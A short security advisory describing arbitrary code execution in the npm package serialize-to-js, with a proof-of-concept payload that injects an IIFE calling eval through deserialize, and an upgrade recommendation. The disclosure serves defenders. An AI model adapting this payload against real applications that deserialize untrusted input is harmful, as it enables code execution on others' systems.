Details

Code Execution Through IIFE in serialize-to-js Affected versions of `serialize-to-js` may be vulnerable to arbitrary code execution through an Immediately Invoked Function Expression (IIFE). ## Proof of Concept ```js var payload = "{e: (function(){ eval('console.log(`exploited`)') })() }" var serialize = require('serialize-to-js'); serialize.deserialize(payload); ``` ## Recommendation Update to version 1.0.0, or later, and review [this disclaimer](https://www.npmjs.com/package/serialize-to-js#deserialize) from the author.
